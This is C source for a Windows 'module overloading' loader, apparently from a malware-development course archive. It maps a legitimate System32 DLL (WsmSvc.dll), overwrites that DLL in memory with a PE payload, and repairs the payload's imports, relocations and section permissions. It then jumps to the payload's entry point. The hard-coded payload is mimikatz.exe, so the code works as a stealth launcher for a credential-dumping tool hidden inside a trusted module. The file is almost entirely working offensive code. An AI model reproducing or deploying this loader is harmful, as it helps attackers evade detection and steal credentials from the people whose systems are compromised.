	pPeHdrs->pImgNtHdrs		= (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);

	if (pPeHdrs->pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return FALSE;

	pPeHdrs->bIsDLLFile				= (pPeHdrs->pImgNtHdrs->FileHeader.Characteristics & IMAGE_FILE_DLL) ? TRUE : FALSE;
	pPeHdrs->pImgSecHdr				= IMAGE_FIRST_SECTION(pPeHdrs->pImgNtHdrs);
	pPeHdrs->pEntryImportDataDir	= &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
	pPeHdrs->pEntryBaseRelocDataDir = &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	pPeHdrs->pEntryTLSDataDir		= &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
	pPeHdrs->pEntryExceptionDataDir = &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
	pPeHdrs->pEntryExportDataDir	= &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

	return TRUE;
}

//--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

BOOL FixImportAddressTable(IN PIMAGE_DATA_DIRECTORY pEntryImportDataDir, IN PBYTE pPeBaseAddress) {

	PIMAGE_IMPORT_DESCRIPTOR	pImgDescriptor = NULL;

	for (SIZE_T i = 0; i < pEntryImportDataDir->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {

		pImgDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pPeBaseAddress + pEntryImportDataDir->VirtualAddress + i);
		if (pImgDescriptor->OriginalFirstThunk == NULL && pImgDescriptor->FirstThunk == NULL)
			break;

		LPSTR		cDllName					= (LPSTR)(pPeBaseAddress + pImgDescriptor->Name);
		ULONG_PTR	uOriginalFirstThunkRVA		= pImgDescriptor->OriginalFirstThunk;
		ULONG_PTR	uFirstThunkRVA				= pImgDescriptor->FirstThunk;
		SIZE_T		ImgThunkSize				= 0x00;	
		HMODULE		hModule						= NULL;

		if (!(hModule = LoadLibraryA(cDllName))) {
			PRNT_WN_ERR(TEXT("LoadLibraryA"));
			return FALSE;
		}

		while (TRUE) {

			PIMAGE_THUNK_DATA			pOriginalFirstThunk		= (PIMAGE_THUNK_DATA)(pPeBaseAddress + uOriginalFirstThunkRVA + ImgThunkSize);
			PIMAGE_THUNK_DATA			pFirstThunk				= (PIMAGE_THUNK_DATA)(pPeBaseAddress + uFirstThunkRVA + ImgThunkSize);
			PIMAGE_IMPORT_BY_NAME		pImgImportByName		= NULL;
			ULONG_PTR					pFuncAddress			= NULL;

			if (pOriginalFirstThunk->u1.Function == NULL && pFirstThunk->u1.Function == NULL) {
				break;
			}

			if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
				if (!(pFuncAddress	= (ULONG_PTR)GetProcAddress(hModule, IMAGE_ORDINAL(pOriginalFirstThunk->u1.Ordinal)))) {
					printf("[!] Could Not Import !%s#%d \n", cDllName, (int)pOriginalFirstThunk->u1.Ordinal);
					return FALSE;
				}
			}
			else {
				pImgImportByName	= (PIMAGE_IMPORT_BY_NAME)(pPeBaseAddress + pOriginalFirstThunk->u1.AddressOfData);
				if (!(pFuncAddress	= (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name))) {
					printf("[!] Could Not Import !%s.%s \n", cDllName, pImgImportByName->Name);
					return FALSE;
				}
			}

			pFirstThunk->u1.Function	= (ULONGLONG)pFuncAddress;
			ImgThunkSize				+= sizeof(IMAGE_THUNK_DATA);
		}
	}

	return TRUE;
}

//--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {

	PIMAGE_BASE_RELOCATION	pImgBaseRelocation	= (pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);
	ULONG_PTR				uDeltaOffset		= pPeBaseAddress - pPreferableAddress;
	PBASE_RELOCATION_ENTRY	pBaseRelocEntry		= NULL;

	while (pImgBaseRelocation->VirtualAddress) {

		pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);

		while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
			switch (pBaseRelocEntry->Type) {
				case IMAGE_REL_BASED_DIR64:
					*((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
					break;
				case IMAGE_REL_BASED_HIGHLOW:
					*((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
					break;
				case IMAGE_REL_BASED_HIGH:
					*((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
					break;
				case IMAGE_REL_BASED_LOW:
					*((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
					break;
				case IMAGE_REL_BASED_ABSOLUTE:
					break;
				default:
					printf("[!] Unknown relocation type: %d | Offset: 0x%08X \n", pBaseRelocEntry->Type, pBaseRelocEntry->Offset);
					return FALSE;
			}
			pBaseRelocEntry++;
		}

		pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
	}

	return TRUE;
}

//--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

BOOL FixMemPermissions(IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {


	for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
	
		DWORD	dwProtection	= 0x00,
				dwOldProtection = 0x00;

		if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
			continue;

		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
			dwProtection = PAGE_WRITECOPY;

		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
			dwProtection = PAGE_READONLY;

		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
			dwProtection = PAGE_READWRITE;

		if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
			dwProtection = PAGE_EXECUTE;

		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
			dwProtection = PAGE_EXECUTE_WRITECOPY;

		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
			dwProtection = PAGE_EXECUTE_READ;

		if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
			dwProtection = PAGE_EXECUTE_READWRITE;

		if (!VirtualProtect((PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
			PRNT_WN_ERR(TEXT("VirtualProtect"));
			return FALSE;
		}
	}

	return TRUE;
}

//--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

BOOL OverWriteSacrificialDll(IN ULONG_PTR uMappedDll, IN SIZE_T sMappedImgSize, IN ULONG_PTR uPePayload, IN SIZE_T sPePayloadSize) {

	DWORD	dwOldProtection		= 0x00;

	if (!uMappedDll || !uPePayload || !sPePayloadSize)
		return FALSE;

	// Both should start with "MZ" (DOS Header)
	if (*(unsigned short*)uMappedDll != *(unsigned short*)uPePayload)
		return FALSE;

	// Allow writing to the sacrificial dll
	if (!VirtualProtect(uMappedDll, sMappedImgSize, PAGE_READWRITE, &dwOldProtection)) {
		PRNT_WN_ERR(TEXT("VirtualProtect"));
		return FALSE;
	}

	printf("[i] Overwriting Sacrificial DLL ... ");

	// Overwriting 
	memset(uMappedDll, 0x00, sMappedImgSize);
	memcpy(uMappedDll, uPePayload, sPePayloadSize);

	printf("[+] DONE \n");

	return TRUE;
}

//--------------------------------------------------------------------------------------------------------------------------------------------------------------------------

BOOL ModuleOverLoad(IN LPCWSTR szSacrificialDllName, IN PPE_HDRS pPeHdrs) {

	ULONG_PTR	uMappedDll			= NULL;
	SIZE_T		sMappedImgSize		= NULL;
	PBYTE		pPeBaseAddress		= NULL,
				pPeEntryPnt			= NULL;
	DWORD		dwOldProtection		= 0x00;

	if (!szSacrificialDllName || !pPeHdrs)
		return FALSE;

	// Load the sacrificial dll
	if (!LoadDllFile(szSacrificialDllName, &uMappedDll, &sMappedImgSize))
		return FALSE;

	printf("[i] Sacrificial DLL [%ws] Is Loaded At [ 0x%p ] Of Size [ %d ]\n", GET_FILENAME(szSacrificialDllName), (void*)uMappedDll, (int)sMappedImgSize);

	// If the sacrificial dll size is less than that of the payload's
	if (sMappedImgSize < pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage)
		return FALSE;

	// Allocate a temporary buffer to copy the PE payload
	if ((pPeBaseAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage)) == NULL) {
		PRNT_WN_ERR(TEXT("HeapAlloc"));
		return FALSE;
	}

	// Copy the PE payload to the temporary buffer
	memcpy(pPeBaseAddress, pPeHdrs->pFileBuffer, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfHeaders);

	for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
		memcpy(
			(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress),
			(PVOID)((ULONG_PTR)pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData),
			pPeHdrs->pImgSecHdr[i].SizeOfRawData
		);
	}

	// IAT Fixing
	if (!FixImportAddressTable(pPeHdrs->pEntryImportDataDir, pPeBaseAddress))
		goto _FUNC_FAILED;

	// Replace the sacrificial dll with the payload
	// uMappedDll is RW
	if (!OverWriteSacrificialDll(uMappedDll, sMappedImgSize, pPeBaseAddress, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage))
		goto _FUNC_FAILED;

	// uMappedDll is now the base address of the payload
	// Free pPeBaseAddress
	DELETE_PNTR(pPeBaseAddress);

	// Fix Relocations
	if (!FixReloc(pPeHdrs->pEntryBaseRelocDataDir, uMappedDll, pPeHdrs->pImgNtHdrs->OptionalHeader.ImageBase))
		goto _FUNC_FAILED;

	// Fix Memory Permissions (Headers are RO)
	if (!VirtualProtect(uMappedDll, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &dwOldProtection)) {
		PRNT_WN_ERR(TEXT("VirtualProtect"));
		goto _FUNC_FAILED;
	}

	// Fix Memory Permissions 
	if (!FixMemPermissions(uMappedDll, pPeHdrs->pImgNtHdrs, pPeHdrs->pImgSecHdr))
		goto _FUNC_FAILED;

	// Get the payload entry point
	pPeEntryPnt = (PBYTE)(uMappedDll + pPeHdrs->pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
	printf("[i] Payload Entry Point: 0x%p \n", pPeEntryPnt);

	// Execute the payload
	// If dll
	if (pPeHdrs->bIsDLLFile) {
		DLLMAIN	pDllMain = (DLLMAIN)pPeEntryPnt;
		return pDllMain((HINSTANCE)uMappedDll, DLL_PROCESS_ATTACH, NULL);
	}
	// If exe
	MAIN pMain = (MAIN)pPeEntryPnt;
	return pMain();

_FUNC_FAILED:
	DELETE_PNTR(pPeBaseAddress);
	return FALSE;
}

//----------------------------------------------------------------------------------------------------------------------------------------------------------


#define SACRIFICAL_DLL	L"C:\\Windows\\System32\\WsmSvc.dll"
#define PAYLOAD_PE		L"C:\\Users\\Admin\\Desktop\\Payloads\\mimikatz.exe"

int main() {

	HMODULE		hNtdll			= NULL;
	PBYTE		pFileBuffer		= NULL;
	DWORD		dwFileSize		= 0x00;
	PE_HDRS		PeHdrStruct		= { 0x00 };

	if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
		return -1;

	g_NtApi.pNtCreateSection	= (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
	g_NtApi.pNtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
	g_NtApi.pNtCreateThreadEx	= (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

	if (!g_NtApi.pNtCreateSection || !g_NtApi.pNtMapViewOfSection || !g_NtApi.pNtCreateThreadEx)
		return -1;

	if (!ReadFileFromDisk(PAYLOAD_PE, &pFileBuffer, &dwFileSize))
		return -1;

	printf("[i] %ws Is Loaded At [ 0x%p ] Of Size [ %d ]\n", GET_FILENAME(PAYLOAD_PE), pFileBuffer, dwFileSize);

	if (!InitializePeStruct(&PeHdrStruct, pFileBuffer, dwFileSize))
		return -1;

	if (!ModuleOverLoad(SACRIFICAL_DLL, &PeHdrStruct))
		return -1;

	WaitForSingleObject((HANDLE)-1, INFINITE);
	return 0;
}
Full Archive Manifest (6 files inside .zip)
  • ModuleOverloading/ModuleOverloading.sln
  • ModuleOverloading/ModuleOverloading/ModuleOverloading.vcxproj
  • ModuleOverloading/ModuleOverloading/ModuleOverloading.vcxproj.filters
  • ModuleOverloading/ModuleOverloading/ModuleOverloading.vcxproj.user
  • ModuleOverloading/ModuleOverloading/Structs.h
  • ModuleOverloading/ModuleOverloading/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.